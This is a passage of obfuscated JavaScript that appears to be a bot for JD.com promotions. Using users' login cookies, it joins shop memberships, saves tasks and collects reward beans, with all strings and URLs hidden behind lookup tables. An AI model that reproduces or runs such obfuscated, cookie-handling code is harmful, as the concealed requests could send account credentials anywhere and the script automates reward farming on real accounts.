_0x1ad61b[_0x67b5('22b')](_0x18f767,_0x3d0da9);},'ZRNoo':_0x1ad61b[_0x67b5('22c')],'DeZDe':_0x1ad61b[_0x67b5('22d')],'tVFiq':function(_0x4b89c2,_0xcfb8cd){return _0x1ad61b[_0x67b5('228')](_0x4b89c2,_0xcfb8cd);},'lHorf':_0x1ad61b[_0x67b5('22e')],'hRoFM':_0x1ad61b[_0x67b5('22f')],'GJfvv':function(_0x7e02e0,_0x5b62a6){return _0x1ad61b[_0x67b5('228')](_0x7e02e0,_0x5b62a6);},'fxhkL':_0x1ad61b[_0x67b5('230')],'egLoP':function(_0x458d71,_0x39168c){return _0x1ad61b[_0x67b5('231')](_0x458d71,_0x39168c);},'Zvynx':_0x1ad61b[_0x67b5('232')],'taBdy':function(_0x509aeb,_0xec90d8){return _0x1ad61b[_0x67b5('233')](_0x509aeb,_0xec90d8);},'JvMfk':_0x1ad61b[_0x67b5('234')]};let _0x41b990=_0x67b5('235')+$[_0x67b5('2a')]+_0x67b5('236')+$[_0x67b5('2c')]+_0x67b5('13e')+_0x1ad61b[_0x67b5('237')](encodeURIComponent,$[_0x67b5('77')])+_0x67b5('13d')+$[_0x67b5('43')]+_0x67b5('193')+$[_0x67b5('2a')];$[_0x67b5('140')](_0x1ad61b[_0x67b5('238')](taskPostUrl,_0x67b5('239'),_0x41b990),async(_0x11dfc6,_0x52ad5d,_0xa56be3)=>{var _0x206a0b={'qWctC':function(_0x46d9b0,_0x9cf8e2){return _0x131812[_0x67b5('23a')](_0x46d9b0,_0x9cf8e2);},'nzDyV':function(_0x370e98,_0x90451c){return _0x131812[_0x67b5('23b')](_0x370e98,_0x90451c);},'zvbIs':_0x131812[_0x67b5('23c')]};try{if(_0x11dfc6){if(_0x52ad5d[_0x67b5('152')]&&_0x131812[_0x67b5('23d')](_0x52ad5d[_0x67b5('152')],0x1ed)){console[_0x67b5('7')](_0x131812[_0x67b5('23e')]);$[_0x67b5('15')]=!![];}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x11dfc6));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('154'));}else{if(_0x131812[_0x67b5('23f')](_0x131812[_0x67b5('240')],_0x131812[_0x67b5('241')])){setcookie=setcookies[_0x67b5('df')](',');}else{let _0x802343=$[_0x67b5('f8')](_0xa56be3);if(_0x131812[_0x67b5('242')](typeof _0x802343,_0x131812[_0x67b5('243')])){if(_0x131812[_0x67b5('23f')](_0x802343[_0x67b5('d4')],!![])&&_0x802343[_0x67b5('36')]){var _0x3af8ea=_0x131812[_0x67b5('244')][_0x67b5('df')]('|'),_0x105a85=0x0;while(!![]){switch(_0x3af8ea[_0x105a85++]){case'0':$[_0x67b5('bc')]=_0x802343[_0x67b5('36')][_0x67b5('bc')];continue;case'1':$[_0x67b5('245')]=_0x802343[_0x67b5('36')][_0x67b5('245')];continue;case'2':$[_0x67b5('cc')]=_0x802343[_0x67b5('36')][_0x67b5('cc')];continue;case'3':$[_0x67b5('b7')]=_0x802343[_0x67b5('36')][_0x67b5('b7')];continue;case'4':$[_0x67b5('c1')]=_0x802343[_0x67b5('36')][_0x67b5('c1')];continue;}break;}}else if(_0x131812[_0x67b5('242')](typeof _0x802343,_0x131812[_0x67b5('243')])&&_0x802343[_0x67b5('7e')]){console[_0x67b5('7')](_0x67b5('246')+(_0x802343[_0x67b5('7e')]||''));}else{if(_0x131812[_0x67b5('247')](_0x131812[_0x67b5('248')],_0x131812[_0x67b5('249')])){_0x131812[_0x67b5('24a')](_0x59ce67);}else{console[_0x67b5('7')](_0xa56be3);}}}else{if(_0x131812[_0x67b5('24b')](_0x131812[_0x67b5('24c')],_0x131812[_0x67b5('24c')])){console[_0x67b5('7')](_0xa56be3);}else{$[_0x67b5('2a')]=$[_0x67b5('43')];console[_0x67b5('7')](_0x67b5('108')+$[_0x67b5('2a')]);}}}}}catch(_0x552268){if(_0x131812[_0x67b5('24d')](_0x131812[_0x67b5('24e')],_0x131812[_0x67b5('24e')])){console[_0x67b5('7')](''+(res[_0x67b5('1fc')]||''));}else{$[_0x67b5('4a')](_0x552268,_0x52ad5d);}}finally{if(_0x131812[_0x67b5('24f')](_0x131812[_0x67b5('250')],_0x131812[_0x67b5('250')])){let _0x59e80a=res[_0x67b5('36')][_0x67b5('1fd')]&&_0x206a0b[_0x67b5('251')](res[_0x67b5('36')][_0x67b5('1fd')][_0x67b5('1fe')],0x6)&&res[_0x67b5('36')][_0x67b5('1fd')][_0x67b5('22')]||'';console[_0x67b5('7')](_0x67b5('1ff')+_0x206a0b[_0x67b5('252')](_0x59e80a,_0x206a0b[_0x67b5('253')]));if(!_0x59e80a)console[_0x67b5('7')](_0xa56be3);}else{_0x131812[_0x67b5('24a')](_0x59ce67);}}});});}function getproduct(){var _0x4e6cb6={'kkJPe':function(_0x202019,_0x1a0b8b){return _0x202019!=_0x1a0b8b;},'lMqPr':_0x67b5('53'),'AbtFp':function(_0xbeef42,_0x2c1f4b){return _0xbeef42!=_0x2c1f4b;},'LLsUI':function(_0x18a652,_0x4d832b){return _0x18a652!==_0x4d832b;},'EjYkF':_0x67b5('254'),'Hqliy':_0x67b5('255'),'xDIzh':function(_0x5df163,_0xa3d136){return _0x5df163==_0xa3d136;},'twmxV':function(_0x36fb64,_0xa6ed6b){return _0x36fb64===_0xa6ed6b;},'JQMms':_0x67b5('256'),'HaDQA':_0x67b5('257'),'suNDD':_0x67b5('113'),'xHOdO':_0x67b5('52'),'NLHQH':function(_0x22df84,_0x25ed34){return _0x22df84===_0x25ed34;},'jrMWz':_0x67b5('258'),'WFqyo':_0x67b5('259'),'SUEAr':_0x67b5('25a'),'zZBms':_0x67b5('25b'),'Bycyg':_0x67b5('25c'),'uUnPq':function(_0x18cd8c){return _0x18cd8c();},'HKXjT':_0x67b5('25d'),'uMABt':_0x67b5('25e'),'gqCeu':function(_0x1fdb2c,_0x32e7e4){return _0x1fdb2c(_0x32e7e4);},'BWCfz':function(_0x298716,_0x2049ac,_0xa05f77){return _0x298716(_0x2049ac,_0xa05f77);}};return new Promise(_0x51d91a=>{var _0x4ee3e8={'iHurn':function(_0x37ea77,_0x3cd20b){return _0x4e6cb6[_0x67b5('25f')](_0x37ea77,_0x3cd20b);},'lXlCw':_0x4e6cb6[_0x67b5('260')],'AjaQp':function(_0x2391a6,_0xca7009){return _0x4e6cb6[_0x67b5('261')](_0x2391a6,_0xca7009);},'sltdu':function(_0x21f2f6,_0x4c3dcb){return _0x4e6cb6[_0x67b5('261')](_0x21f2f6,_0x4c3dcb);},'Uqwyq':function(_0x3f7bb4,_0x4b712c){return _0x4e6cb6[_0x67b5('262')](_0x3f7bb4,_0x4b712c);},'fpUPz':_0x4e6cb6[_0x67b5('263')],'TtZSZ':_0x4e6cb6[_0x67b5('264')],'RvKeG':function(_0x526f9b,_0x3724b9){return _0x4e6cb6[_0x67b5('265')](_0x526f9b,_0x3724b9);},'QDsMP':function(_0x86a1be,_0x5ee1a5){return _0x4e6cb6[_0x67b5('266')](_0x86a1be,_0x5ee1a5);},'dJrfj':_0x4e6cb6[_0x67b5('267')],'yudfk':_0x4e6cb6[_0x67b5('268')],'kdtwE':_0x4e6cb6[_0x67b5('269')],'XklQX':_0x4e6cb6[_0x67b5('26a')],'lfkTm':function(_0x8b8521,_0x502715){return _0x4e6cb6[_0x67b5('26b')](_0x8b8521,_0x502715);},'VsKlP':_0x4e6cb6[_0x67b5('26c')],'MfFpX':_0x4e6cb6[_0x67b5('26d')],'mjVmz':_0x4e6cb6[_0x67b5('26e')],'lvBsv':_0x4e6cb6[_0x67b5('26f')],'fzPte':_0x4e6cb6[_0x67b5('270')],'lrSmS':function(_0x1e77b8){return _0x4e6cb6[_0x67b5('271')](_0x1e77b8);}};if(_0x4e6cb6[_0x67b5('262')](_0x4e6cb6[_0x67b5('272')],_0x4e6cb6[_0x67b5('273')])){let _0x2516f9=_0x67b5('274')+$[_0x67b5('2c')]+_0x67b5('13e')+_0x4e6cb6[_0x67b5('275')](encodeURIComponent,$[_0x67b5('77')])+_0x67b5('13d')+$[_0x67b5('43')]+_0x67b5('193')+$[_0x67b5('2a')];$[_0x67b5('140')](_0x4e6cb6[_0x67b5('276')](taskPostUrl,_0x67b5('277')+Date[_0x67b5('278')](),_0x2516f9),async(_0x13f223,_0x200464,_0x110976)=>{try{if(_0x4ee3e8[_0x67b5('279')](_0x4ee3e8[_0x67b5('27a')],_0x4ee3e8[_0x67b5('27b')])){if(_0x13f223){if(_0x200464[_0x67b5('152')]&&_0x4ee3e8[_0x67b5('27c')](_0x200464[_0x67b5('152')],0x1ed)){if(_0x4ee3e8[_0x67b5('27d')](_0x4ee3e8[_0x67b5('27e')],_0x4ee3e8[_0x67b5('27f')])){console[_0x67b5('7')](_0x110976);}else{console[_0x67b5('7')](_0x4ee3e8[_0x67b5('280')]);$[_0x67b5('15')]=!![];}}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x13f223));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('154'));}else{let _0x2c11af=$[_0x67b5('f8')](_0x110976);if(_0x4ee3e8[_0x67b5('27c')](typeof _0x2c11af,_0x4ee3e8[_0x67b5('281')])){if(_0x4ee3e8[_0x67b5('282')](_0x2c11af[_0x67b5('d4')],!![])&&_0x2c11af[_0x67b5('36')]){if(_0x4ee3e8[_0x67b5('282')](_0x4ee3e8[_0x67b5('283')],_0x4ee3e8[_0x67b5('284')])){cookiesArr[_0x67b5('3')](jdCookieNode[item]);}else{$[_0x67b5('285')]=_0x2c11af[_0x67b5('36')];}}else if(_0x4ee3e8[_0x67b5('27c')](typeof _0x2c11af,_0x4ee3e8[_0x67b5('281')])&&_0x2c11af[_0x67b5('7e')]){if(_0x4ee3e8[_0x67b5('279')](_0x4ee3e8[_0x67b5('286')],_0x4ee3e8[_0x67b5('287')])){console[_0x67b5('7')](title+'\x20'+(_0x2c11af[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](_0x110976);}}else{console[_0x67b5('7')](_0x110976);}}else{if(_0x4ee3e8[_0x67b5('282')](_0x4ee3e8[_0x67b5('288')],_0x4ee3e8[_0x67b5('288')])){console[_0x67b5('7')](_0x110976);}else{if(_0x4ee3e8[_0x67b5('289')](typeof _0x2c11af[_0x67b5('36')][_0x67b5('89')],_0x4ee3e8[_0x67b5('28a')]))$[_0x67b5('89')]=_0x2c11af[_0x67b5('36')][_0x67b5('89')];if(_0x4ee3e8[_0x67b5('28b')](typeof _0x2c11af[_0x67b5('36')][_0x67b5('8b')],_0x4ee3e8[_0x67b5('28a')]))$[_0x67b5('8b')]=_0x2c11af[_0x67b5('36')][_0x67b5('8b')];}}}}else{if(_0x4ee3e8[_0x67b5('28c')](typeof res[_0x67b5('28d')],_0x4ee3e8[_0x67b5('28a')]))$[_0x67b5('76')]=res[_0x67b5('28d')];}}catch(_0x2732a5){$[_0x67b5('4a')](_0x2732a5,_0x200464);}finally{_0x4ee3e8[_0x67b5('28e')](_0x51d91a);}});}else{console[_0x67b5('7')](title+'\x20'+(res[_0x67b5('7e')]||''));}});}function saveTask(_0xf18d58,_0x4137ea,_0x322cc5){var _0x11bf8f={'zEYGV':function(_0x3fc55e,_0x43b8e0){return _0x3fc55e==_0x43b8e0;},'AhyDh':function(_0x3ac076,_0x53a026){return _0x3ac076===_0x53a026;},'QcKeM':_0x67b5('28f'),'aIgWY':_0x67b5('113'),'jdWYN':function(_0x508447,_0xe54dad){return _0x508447===_0xe54dad;},'eAqaK':_0x67b5('290'),'WdoPu':_0x67b5('52'),'JIiFP':_0x67b5('1c6'),'uRFSF':function(_0x1e5425,_0xdb7694){return _0x1e5425!==_0xdb7694;},'opzJd':_0x67b5('291'),'ssxut':_0x67b5('292'),'ctmLk':function(_0x546088,_0x24da5a){return _0x546088||_0x24da5a;},'wwPPe':_0x67b5('293'),'adjWZ':_0x67b5('294'),'xopng':function(_0xa67db4){return _0xa67db4();},'cRABo':function(_0x2a5933,_0x34e9f2){return _0x2a5933!=_0x34e9f2;},'CIzHt':function(_0x6be15e,_0x39b0a0){return _0x6be15e+_0x39b0a0;},'uKJdY':_0x67b5('18'),'VnDZK':_0x67b5('19'),'oEXYU':function(_0x36ece1,_0x134570){return _0x36ece1(_0x134570);},'JaMsx':function(_0x5cea62,_0x445722,_0x717bda){return _0x5cea62(_0x445722,_0x717bda);}};return new Promise(_0xd9a21b=>{var _0x36be43={'mVgDV':function(_0x5e854d,_0x251ad0){return _0x11bf8f[_0x67b5('295')](_0x5e854d,_0x251ad0);},'ccFQw':function(_0x5b99fb,_0x2c9cf2){return _0x11bf8f[_0x67b5('296')](_0x5b99fb,_0x2c9cf2);},'AKLOG':_0x11bf8f[_0x67b5('297')],'kZTzX':_0x11bf8f[_0x67b5('298')]};let _0x45ae5d=_0x67b5('13c')+$[_0x67b5('2c')]+_0x67b5('13d')+$[_0x67b5('43')]+_0x67b5('13e')+_0x11bf8f[_0x67b5('299')](encodeURIComponent,$[_0x67b5('77')])+_0x67b5('2f')+$[_0x67b5('2a')]+_0x67b5('29a')+_0x4137ea+_0x67b5('29b')+_0x322cc5;$[_0x67b5('140')](_0x11bf8f[_0x67b5('29c')](taskPostUrl,_0x67b5('29d'),_0x45ae5d),async(_0x4fb47e,_0x64be0a,_0x9cb0b4)=>{try{if(_0x4fb47e){if(_0x64be0a[_0x67b5('152')]&&_0x11bf8f[_0x67b5('29e')](_0x64be0a[_0x67b5('152')],0x1ed)){if(_0x11bf8f[_0x67b5('29f')](_0x11bf8f[_0x67b5('2a0')],_0x11bf8f[_0x67b5('2a0')])){console[_0x67b5('7')](_0x11bf8f[_0x67b5('2a1')]);$[_0x67b5('15')]=!![];}else{console[_0x67b5('7')](_0x9cb0b4);}}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x4fb47e));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('154'));}else{if(_0x11bf8f[_0x67b5('2a2')](_0x11bf8f[_0x67b5('2a3')],_0x11bf8f[_0x67b5('2a3')])){let _0x25a912=$[_0x67b5('f8')](_0x9cb0b4);if(_0x11bf8f[_0x67b5('29e')](typeof _0x25a912,_0x11bf8f[_0x67b5('2a4')])){if(_0x11bf8f[_0x67b5('2a2')](_0x25a912[_0x67b5('d4')],!![])&&_0x25a912[_0x67b5('36')]){let _0x327444='';if(_0x25a912[_0x67b5('36')][_0x67b5('2a5')]){_0x327444='\x20'+_0x25a912[_0x67b5('36')][_0x67b5('2a5')]+'京豆';}_0x327444=_0x11bf8f[_0x67b5('29e')](_0x327444,'')?_0x11bf8f[_0x67b5('2a6')]:_0x327444;if(_0x25a912[_0x67b5('36')][_0x67b5('45')]){_0x327444+=_0x67b5('44')+_0x25a912[_0x67b5('36')][_0x67b5('45')]+_0x67b5('46');}if(_0x25a912[_0x67b5('36')][_0x67b5('ed')]){if(_0x11bf8f[_0x67b5('2a7')](_0x11bf8f[_0x67b5('2a8')],_0x11bf8f[_0x67b5('2a9')])){_0x327444+='\x20'+_0x25a912[_0x67b5('36')][_0x67b5('ed')]+_0x67b5('2aa');}else{$[_0x67b5('4a')](e,_0x64be0a);}}console[_0x67b5('7')](_0xf18d58+_0x67b5('2ab')+_0x11bf8f[_0x67b5('2ac')](_0x327444,_0x11bf8f[_0x67b5('2a6')]));}else if(_0x11bf8f[_0x67b5('29e')](typeof _0x25a912,_0x11bf8f[_0x67b5('2a4')])&&_0x25a912[_0x67b5('7e')]){console[_0x67b5('7')](_0xf18d58+'\x20'+(_0x25a912[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](_0x9cb0b4);}}else{console[_0x67b5('7')](_0x9cb0b4);}}else{if(_0x36be43[_0x67b5('2ad')](_0x36be43[_0x67b5('2ae')](guaopencard,''),_0x36be43[_0x67b5('2af')])){console[_0x67b5('7')](_0x36be43[_0x67b5('2b0')]);}if(_0x36be43[_0x67b5('2ad')](_0x36be43[_0x67b5('2ae')](guaopencard,''),_0x36be43[_0x67b5('2af')])){return;}}}}catch(_0x369095){if(_0x11bf8f[_0x67b5('2a7')](_0x11bf8f[_0x67b5('2b1')],_0x11bf8f[_0x67b5('2b2')])){$[_0x67b5('4a')](_0x369095,_0x64be0a);}else{$[_0x67b5('4a')](_0x369095,_0x64be0a);}}finally{_0x11bf8f[_0x67b5('2b3')](_0xd9a21b);}});});}function getshopactivityId(_0xa938df){var _0x512d49={'DyPBr':function(_0x2bb9af,_0x520045){return _0x2bb9af===_0x520045;},'dPVYv':function(_0x1138ec,_0x1aacb5){return _0x1138ec==_0x1aacb5;},'NXFjo':function(_0x32a5ee,_0x4aa31d){return _0x32a5ee||_0x4aa31d;},'fwdvG':_0x67b5('1c6'),'GGmDL':_0x67b5('52'),'fzHIl':_0x67b5('113'),'Xotmf':function(_0x358e3a,_0x444f00){return _0x358e3a==_0x444f00;},'GeXTE':_0x67b5('2b4'),'eCFRE':function(_0x5c8978,_0x3ed784){return _0x5c8978!==_0x3ed784;},'vbrYq':_0x67b5('2b5'),'ZRWUb':_0x67b5('2b6'),'OasaU':function(_0x1b1a8f){return _0x1b1a8f();},'wbPoc':function(_0x34172a,_0x173530){return _0x34172a(_0x173530);}};return new Promise(_0x2a3e80=>{var _0x1c99af={'AStWm':function(_0x285ca6,_0x57683a){return _0x512d49[_0x67b5('2b7')](_0x285ca6,_0x57683a);},'DVJmY':function(_0x593143,_0x4cbf4d){return _0x512d49[_0x67b5('2b8')](_0x593143,_0x4cbf4d);},'fSUZN':function(_0x4174f7,_0x2daa6c){return _0x512d49[_0x67b5('2b9')](_0x4174f7,_0x2daa6c);},'UbGjX':_0x512d49[_0x67b5('2ba')],'ZbPnQ':_0x512d49[_0x67b5('2bb')],'IYzuV':_0x512d49[_0x67b5('2bc')],'aPmtF':function(_0x122bd,_0x392f74){return _0x512d49[_0x67b5('2bd')](_0x122bd,_0x392f74);},'UAEUK':_0x512d49[_0x67b5('2be')],'RMTxW':function(_0x3fdd23,_0x448d9b){return _0x512d49[_0x67b5('2bf')](_0x3fdd23,_0x448d9b);},'KfmQc':_0x512d49[_0x67b5('2c0')],'XMNzA':_0x512d49[_0x67b5('2c1')],'QkCQZ':function(_0x293d21){return _0x512d49[_0x67b5('2c2')](_0x293d21);}};$[_0x67b5('2c3')](_0x512d49[_0x67b5('2c4')](shopactivityId,''+_0xa938df),async(_0x303b49,_0x162ae3,_0x3801dc)=>{var _0x13633b={'OqbFT':function(_0x5f2b65,_0x19fb12){return _0x1c99af[_0x67b5('2c5')](_0x5f2b65,_0x19fb12);},'YfGlG':_0x1c99af[_0x67b5('2c6')]};try{_0x3801dc=JSON[_0x67b5('c5')](_0x3801dc);if(_0x1c99af[_0x67b5('2c7')](_0x3801dc[_0x67b5('2c8')],!![])){console[_0x67b5('7')](_0x67b5('2c9')+(_0x3801dc[_0x67b5('d4')][_0x67b5('2ca')][_0x67b5('2cb')]||''));$[_0x67b5('210')]=_0x3801dc[_0x67b5('d4')][_0x67b5('2cc')]&&_0x3801dc[_0x67b5('d4')][_0x67b5('2cc')][0x0]&&_0x3801dc[_0x67b5('d4')][_0x67b5('2cc')][0x0][_0x67b5('2cd')]&&_0x3801dc[_0x67b5('d4')][_0x67b5('2cc')][0x0][_0x67b5('2cd')][_0x67b5('2c')]||'';}}catch(_0x59a930){if(_0x1c99af[_0x67b5('2ce')](_0x1c99af[_0x67b5('2cf')],_0x1c99af[_0x67b5('2cf')])){$[_0x67b5('4a')](_0x59a930,_0x162ae3);}else{if(_0x1c99af[_0x67b5('2ce')](res[_0x67b5('d4')],!![])&&res[_0x67b5('36')]){let _0x2a926f=res[_0x67b5('36')][_0x67b5('1fd')]&&_0x1c99af[_0x67b5('2c5')](res[_0x67b5('36')][_0x67b5('1fd')][_0x67b5('1fe')],0x6)&&res[_0x67b5('36')][_0x67b5('1fd')][_0x67b5('22')]||'';console[_0x67b5('7')](_0x67b5('1ff')+_0x1c99af[_0x67b5('2d0')](_0x2a926f,_0x1c99af[_0x67b5('2d1')]));if(!_0x2a926f)console[_0x67b5('7')](_0x3801dc);}else if(_0x1c99af[_0x67b5('2c5')](typeof res,_0x1c99af[_0x67b5('2d2')])&&res[_0x67b5('7e')]){console[_0x67b5('7')](_0x67b5('1bc')+(res[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](_0x3801dc);}}}finally{if(_0x1c99af[_0x67b5('2d3')](_0x1c99af[_0x67b5('2d4')],_0x1c99af[_0x67b5('2d5')])){_0x1c99af[_0x67b5('2d6')](_0x2a3e80);}else{if(_0x162ae3[_0x67b5('152')]&&_0x13633b[_0x67b5('2d7')](_0x162ae3[_0x67b5('152')],0x1ed)){console[_0x67b5('7')](_0x13633b[_0x67b5('2d8')]);$[_0x67b5('15')]=!![];}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x303b49));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('154'));}}});});}function shopactivityId(_0x51e26c){var _0x58d1de={'eyxoq':_0x67b5('175'),'Lqbdz':_0x67b5('176'),'BUWpc':_0x67b5('177'),'Lnmvf':_0x67b5('178'),'dOwTq':_0x67b5('179')};return{'url':_0x67b5('1a4')+_0x51e26c+_0x67b5('1a5'),'headers':{'Content-Type':_0x58d1de[_0x67b5('2d9')],'Origin':_0x58d1de[_0x67b5('2da')],'Host':_0x58d1de[_0x67b5('2db')],'accept':_0x58d1de[_0x67b5('2dc')],'User-Agent':$['UA'],'content-type':_0x58d1de[_0x67b5('2dd')],'Referer':_0x67b5('1ab')+_0x51e26c+_0x67b5('1ac')+_0x51e26c+_0x67b5('1ad')+$[_0x67b5('2c')]+_0x67b5('2f')+$[_0x67b5('2a')],'Cookie':cookie}};}function join(_0x42ae69){var _0x3496e5={'KLfgs':function(_0x245921,_0x32eca2){return _0x245921==_0x32eca2;},'ddizR':_0x67b5('113'),'uxaqk':function(_0x318071,_0x159aec){return _0x318071!==_0x159aec;},'DKuKQ':_0x67b5('2de'),'FpEBJ':_0x67b5('2df'),'ysHWM':_0x67b5('2e0'),'tlkQp':_0x67b5('52'),'ifSYF':function(_0x36b0ef,_0x42ed80){return _0x36b0ef===_0x42ed80;},'PnPvY':_0x67b5('2e1'),'WKAUd':_0x67b5('2e2'),'aIFWN':function(_0x27794c){return _0x27794c();},'kSzqP':function(_0x1e2752,_0x47ba29){return _0x1e2752===_0x47ba29;},'LBgvo':_0x67b5('2e3'),'jALXE':function(_0x2dda87,_0xc8126f){return _0x2dda87==_0xc8126f;},'JwiJF':function(_0x2c4d24,_0x7591e1){return _0x2c4d24!==_0x7591e1;},'mrReA':_0x67b5('2e4'),'KslCm':_0x67b5('2e5'),'KPuZY':function(_0xfa6cbb,_0x51f142){return _0xfa6cbb(_0x51f142);}};return new Promise(async _0x5eb3e8=>{var _0x41b4db={'SQifa':function(_0x3d3305,_0xee5df0){return _0x3496e5[_0x67b5('2e6')](_0x3d3305,_0xee5df0);},'knmXc':_0x3496e5[_0x67b5('2e7')],'qepsX':function(_0x435917,_0x31a763){return _0x3496e5[_0x67b5('2e8')](_0x435917,_0x31a763);},'DWwbu':_0x3496e5[_0x67b5('2e9')],'EboUw':function(_0x510bdb,_0x55fe7d){return _0x3496e5[_0x67b5('2e8')](_0x510bdb,_0x55fe7d);},'mgkuV':_0x3496e5[_0x67b5('2ea')],'ZuFSo':_0x3496e5[_0x67b5('2eb')],'IithD':function(_0xd97c59,_0x2144db){return _0x3496e5[_0x67b5('2e6')](_0xd97c59,_0x2144db);},'PYViz':_0x3496e5[_0x67b5('2ec')],'BFhEo':function(_0x59b20a,_0x160bce){return _0x3496e5[_0x67b5('2ed')](_0x59b20a,_0x160bce);},'RkfnT':_0x3496e5[_0x67b5('2ee')],'mgYhS':_0x3496e5[_0x67b5('2ef')],'BuuVy':function(_0x1dba09){return _0x3496e5[_0x67b5('2f0')](_0x1dba09);},'FLcAE':function(_0x1e95fe,_0x36bf79){return _0x3496e5[_0x67b5('2f1')](_0x1e95fe,_0x36bf79);},'hkoZj':_0x3496e5[_0x67b5('2f2')],'uyHpW':function(_0x3922e9,_0xca20b1){return _0x3496e5[_0x67b5('2f3')](_0x3922e9,_0xca20b1);}};if(_0x3496e5[_0x67b5('2f4')](_0x3496e5[_0x67b5('2f5')],_0x3496e5[_0x67b5('2f6')])){$[_0x67b5('210')]='';await $[_0x67b5('9d')](0x3e8);await _0x3496e5[_0x67b5('2f7')](getshopactivityId,_0x42ae69);$[_0x67b5('2c3')](_0x3496e5[_0x67b5('2f7')](ruhui,''+_0x42ae69),async(_0x3990c4,_0x54e78b,_0xa06af8)=>{var _0x5694f0={'zalux':_0x41b4db[_0x67b5('2f8')]};if(_0x41b4db[_0x67b5('2f9')](_0x41b4db[_0x67b5('2fa')],_0x41b4db[_0x67b5('2fa')])){if(_0x54e78b[_0x67b5('152')]&&_0x41b4db[_0x67b5('2fb')](_0x54e78b[_0x67b5('152')],0x1ed)){console[_0x67b5('7')](_0x41b4db[_0x67b5('2f8')]);$[_0x67b5('15')]=!![];}console[_0x67b5('7')](''+JSON[_0x67b5('2fc')](_0x3990c4));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('2fd'));}else{try{if(_0x41b4db[_0x67b5('2fe')](_0x41b4db[_0x67b5('2ff')],_0x41b4db[_0x67b5('300')])){res=$[_0x67b5('f8')](_0xa06af8);if(_0x41b4db[_0x67b5('301')](typeof res,_0x41b4db[_0x67b5('302')])){if(_0x41b4db[_0x67b5('303')](res[_0x67b5('2c8')],!![])){console[_0x67b5('7')](res[_0x67b5('1fc')]);if(res[_0x67b5('d4')]&&res[_0x67b5('d4')][_0x67b5('d5')]){for(let _0x51bcda of res[_0x67b5('d4')][_0x67b5('d5')][_0x67b5('d6')]){console[_0x67b5('7')](_0x67b5('d7')+_0x51bcda[_0x67b5('d8')]+_0x51bcda[_0x67b5('d9')]+_0x51bcda[_0x67b5('da')]);}}}else if(_0x41b4db[_0x67b5('301')](typeof res,_0x41b4db[_0x67b5('302')])&&res[_0x67b5('1fc')]){if(_0x41b4db[_0x67b5('303')](_0x41b4db[_0x67b5('304')],_0x41b4db[_0x67b5('305')])){$[_0x67b5('285')]=res[_0x67b5('36')];}else{console[_0x67b5('7')](''+(res[_0x67b5('1fc')]||''));}}else{console[_0x67b5('7')](_0xa06af8);}}else{console[_0x67b5('7')](_0xa06af8);}}else{console[_0x67b5('7')](_0x5694f0[_0x67b5('306')]);$[_0x67b5('15')]=!![];}}catch(_0x4e2dbe){$[_0x67b5('4a')](_0x4e2dbe,_0x54e78b);}finally{_0x41b4db[_0x67b5('307')](_0x5eb3e8);}}});}else{if(_0x41b4db[_0x67b5('308')](res[_0x67b5('d4')],!![])&&res[_0x67b5('36')]){var _0x28f839=_0x41b4db[_0x67b5('309')][_0x67b5('df')]('|'),_0x253fd9=0x0;while(!![]){switch(_0x28f839[_0x253fd9++]){case'0':$[_0x67b5('cc')]=res[_0x67b5('36')][_0x67b5('cc')];continue;case'1':$[_0x67b5('b7')]=res[_0x67b5('36')][_0x67b5('b7')];continue;case'2':$[_0x67b5('c1')]=res[_0x67b5('36')][_0x67b5('c1')];continue;case'3':$[_0x67b5('245')]=res[_0x67b5('36')][_0x67b5('245')];continue;case'4':$[_0x67b5('bc')]=res[_0x67b5('36')][_0x67b5('bc')];continue;}break;}}else if(_0x41b4db[_0x67b5('30a')](typeof res,_0x41b4db[_0x67b5('302')])&&res[_0x67b5('7e')]){console[_0x67b5('7')](_0x67b5('246')+(res[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](data);}}});}function ruhui(_0x303ff5){var _0x4629dc={'wuLln':_0x67b5('175'),'czzAJ':_0x67b5('176'),'pvRKZ':_0x67b5('177'),'rXYIx':_0x67b5('178'),'HOxXr':_0x67b5('179')};let _0x472156='';if($[_0x67b5('210')])_0x472156=_0x67b5('211')+$[_0x67b5('210')];return{'url':_0x67b5('212')+_0x303ff5+_0x67b5('213')+_0x303ff5+_0x67b5('214')+_0x472156+_0x67b5('215'),'headers':{'Content-Type':_0x4629dc[_0x67b5('30b')],'Origin':_0x4629dc[_0x67b5('30c')],'Host':_0x4629dc[_0x67b5('30d')],'accept':_0x4629dc[_0x67b5('30e')],'User-Agent':$['UA'],'content-type':_0x4629dc[_0x67b5('30f')],'Referer':_0x67b5('1ab')+_0x303ff5+_0x67b5('1ac')+_0x303ff5+_0x67b5('1ad')+$[_0x67b5('2c')]+_0x67b5('2f')+$[_0x67b5('2a')],'Cookie':cookie}};}function drawContent(){var _0x5e01b9={'zWfnt':function(_0x1d6d02){return _0x1d6d02();},'KUgJt':function(_0x3ed9f4,_0x4f9b2e){return _0x3ed9f4==_0x4f9b2e;},'vjuLr':_0x67b5('113'),'oGoow':function(_0x438e0f,_0x5ec6bd){return _0x438e0f!==_0x5ec6bd;},'EqPki':_0x67b5('310'),'KFcsw':_0x67b5('311'),'aLyby':function(_0x55ae7c,_0x3fcdd7){return _0x55ae7c==_0x3fcdd7;},'hEVYp':_0x67b5('312'),'BDgqg':function(_0x2aea3d,_0x439811){return _0x2aea3d(_0x439811);},'FgrjQ':function(_0x5295e5,_0x25a83c,_0x41ef55){return _0x5295e5(_0x25a83c,_0x41ef55);},'NOEVU':_0x67b5('313')};return new Promise(_0x579ecc=>{var _0x3223f5={'sDjKF':function(_0x44e762){return _0x5e01b9[_0x67b5('314')](_0x44e762);},'SuZAP':function(_0x110d15,_0x1fa911){return _0x5e01b9[_0x67b5('315')](_0x110d15,_0x1fa911);},'soDjG':_0x5e01b9[_0x67b5('316')],'mgIXA':function(_0x3132dd,_0x107402){return _0x5e01b9[_0x67b5('317')](_0x3132dd,_0x107402);},'mKdwD':_0x5e01b9[_0x67b5('318')],'KXCWB':function(_0x58a723,_0x214080){return 